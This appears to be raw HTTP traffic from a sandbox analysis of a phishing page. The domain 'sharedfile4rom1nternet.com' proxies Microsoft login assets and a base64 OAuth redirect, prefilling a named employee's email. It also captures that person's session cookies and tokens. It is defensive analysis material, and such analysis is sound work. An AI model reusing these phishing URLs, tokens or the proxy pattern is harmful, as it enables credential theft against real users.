Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8e611d89ebaa43cf/1732196680340/RJ79sfLZiDrchgI HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1900004869:1732193398:xYxRnhRTLYoBzVFerUjl_gT9us-M5K-J0PAZyirTKEo/8e611d89ebaa43cf/OOWdfnwMazG9.hEkl1zZh895VE0DTIBBhmUxp6h..Cs-1732196676-1.1.1.1-QNch6E4NmRyaMcK5js34.zZCK4cR6woy34tQ1NVH5yfne78WeJKqDAjjLHEE6LWg HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1900004869:1732193398:xYxRnhRTLYoBzVFerUjl_gT9us-M5K-J0PAZyirTKEo/8e611d89ebaa43cf/OOWdfnwMazG9.hEkl1zZh895VE0DTIBBhmUxp6h..Cs-1732196676-1.1.1.1-QNch6E4NmRyaMcK5js34.zZCK4cR6woy34tQ1NVH5yfne78WeJKqDAjjLHEE6LWg HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?dataXX0=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1cmwiOiJodHRwczovL3NoYXJlZGZpbGU0cm9tMW50ZXJuZXQuY29tLyIsImRvbWFpbiI6InNoYXJlZGZpbGU0cm9tMW50ZXJuZXQuY29tIiwia2V5IjoiYVRFZmpzeHZNZ2poIiwicXJjIjoia2VsbHliQGNody1pbmMuY29tIiwiaWF0IjoxNzMyMTk2Njk2LCJleHAiOjE3MzIxOTY4MTZ9.aCrPTx5bOzj8-bu_SfTIwTSI7NHhCBsePbctsJmgBNM HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://robustwaresinc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?qrc=kellyb%40chw-inc.com HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://robustwaresinc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc
Source: global traffic	HTTP traffic detected: GET /owa/?login_hint=kellyb%40chw-inc.com HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://robustwaresinc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc
Source: global traffic	HTTP traffic detected: GET /?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg== HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://robustwaresinc.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; fpc=Avn7DxbZNW5Duk-Ql76pr3o; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeUgpMIAYYkbd69rBxviK9bLIkdFiLLaJFpSsNEIrRBi34UVHSiqJEsI-Wknkvcd6lAKkgZTTg95vygAPTkdELq6xqgkzgxAyV8cdsfX7l7tRrY80PHSqfe0XRYWJHuOBtBxXnumGuIZ-nKPo4KgCwfv8AYiByz6O3OZ3xQWok4P8gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=true HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; fpc=Avn7DxbZNW5Duk-Ql76pr3o; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeUgpMIAYYkbd69rBxviK9bLIkdFiLLaJFpSsNEIrRBi34UVHSiqJEsI-Wknkvcd6lAKkgZTTg95vygAPTkdELq6xqgkzgxAyV8cdsfX7l7tRrY80PHSqfe0XRYWJHuOBtBxXnumGuIZ-nKPo4KgCwfv8AYiByz6O3OZ3xQWok4P8gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; fpc=Avn7DxbZNW5Duk-Ql76pr3o; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeUgpMIAYYkbd69rBxviK9bLIkdFiLLaJFpSsNEIrRBi34UVHSiqJEsI-Wknkvcd6lAKkgZTTg95vygAPTkdELq6xqgkzgxAyV8cdsfX7l7tRrY80PHSqfe0XRYWJHuOBtBxXnumGuIZ-nKPo4KgCwfv8AYiByz6O3OZ3xQWok4P8gAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://sharedfile4rom1nternet.com/?ydrv7fh27=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmbG9naW5faGludD1rZWxseWIlNDBjaHctaW5jLmNvbSZjbGllbnQtcmVxdWVzdC1pZD1iMDk1MWIzZi1iYTEzLTQ3MzEtY2QwNy1kOTVkN2MyZjUyZmQmcHJvdGVjdGVkdG9rZW49dHJ1ZSZjbGFpbXM9JTdiJTIyaWRfdG9rZW4lMjIlM2ElN2IlMjJ4bXNfY2MlMjIlM2ElN2IlMjJ2YWx1ZXMlMjIlM2ElNWIlMjJDUDElMjIlNWQlN2QlN2QlN2Qmbm9uY2U9NjM4Njc3OTM0OTYzOTQ2ODQ1LjJmNWZmNjdmLWVjMTItNDRkYS04ZmI2LTkxYWZiNDFlYzFhMSZzdGF0ZT1EWXRCRG9NZ0VBQ2h2c1hqcXNpNndLSHhLUTFRdDVKU3VEUXhfWDMzTUhPWVpMUlNhaEJ1Z2w1RXlwSDE1Rnl3R01nR0pJX2J0UExHVEk3aHlHWUZ4R2NFejRrZ21NZ0pqZFJvdEx6ajNLODQ3N1dfU251Y3BYM3Y3NlBXWHhweHllY0ZwZVVwOTg4Zg==&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: qPdM=aTEfjsxvMgjh; qPdM.sig=uZzgisDyHfyN7JP8jRD5f5cKyDc; ClientId=906F1E7ACAC54F7D9911DB53B2D34A2F; OIDC=1; OpenIdConnect.nonce.v3.lhhrpoHn3ko2rvzAroRpUW2Hh8YidnRd1pwqxAckn54=638677934963946845.2f5ff67f-ec12-44da-8fb6-91afb41ec1a1; X-OWA-RedirectHistory=ArLym14Bp1dqrzIK3Qg; esctx-8aJMjTRPI1k=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe456O00TLI3h0t9AtfSuAsD3JEhlr_WiNtZXRDIO_y4pBXOnYNBMbcvuuzSBeVN17ePg3uFNn-dP-9k3D9bFGQ8-aRUhFPJ1q9xWpLmlx4lbaGWmhjjjbF2jx2_Bhu9EAv7qELLisnfWk52-_XKiPUCAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVkAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAABZAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFeWRbr_QXjj32lZOyBZAr4yin2vXoKchcNkPOIxrZzAmBulCZXcesmO1bTJvLHLzRoJuLFpnmkk5TnzYuQf04vxXTHnliWw0uvYLk2vpjBQQQgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeoM7xJpvsxUio31d-bf1INLjpdPTXN8ejDuCdtHs5vf1b6h5kyDmjCHN19GcbcjwdtNxOEQ5D55Cj4EadYFYInfsSWvtiQpm0D0t5EdYHZ1I2m-Sgw61d9hWLqLov-2p8eDMz2Nz0aIRUx-gJCGgkxK1qa-phPhB6FXHWSAIExCsgAA; esctx-bfFJSXux8I=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeBVOx09AFo3lVeaSFn2MFDrIIpYMTGQT8eah9hgO2fvwEjWvBa3psNgDXkm2t2TIyqewajAEEaVL3de4j6q-K498TbqV6xdNZ7on55Qzh1Drch4JC2bSnySHatXQjpuIEJTwj9YJSjyXzewZPlRXP0iAA; fpc=Avn7DxbZNW5Duk-Ql76pr3qerOTJAQAAAGUw0d4OAAAA
Source: global traffic	HTTP traffic detected: GET /aadcdn.msftauth.net/~/shared/1.0/content/js/ConvergedLogin_PCore_h6TdaK6cfsrg175w47aRCA2.js HTTP/1.1Host: sharedfile4rom1nternet.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: 